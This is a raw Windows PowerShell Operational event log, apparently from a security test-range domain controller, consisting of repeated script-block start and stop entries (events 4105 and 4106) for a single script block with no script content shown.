RecordNumber=1467647
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467646
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467645
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467644
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467643
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467642
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467641
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467640
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467639
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467638
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467637
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467636
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467635
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467634
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467633
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467632
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467631
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467630
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467629
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467628
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467627
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467626
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467625
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467624
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467623
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467622
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467621
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467620
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467619
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467618
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467617
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467616
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467615
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467614
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467613
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467612
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467611
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467610
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467609
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467608
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467607
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467606
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467605
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467604
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467603
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467602
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467601
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467600
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467599
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467598
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467597
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467596
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467595
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467594
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467593
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467592
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
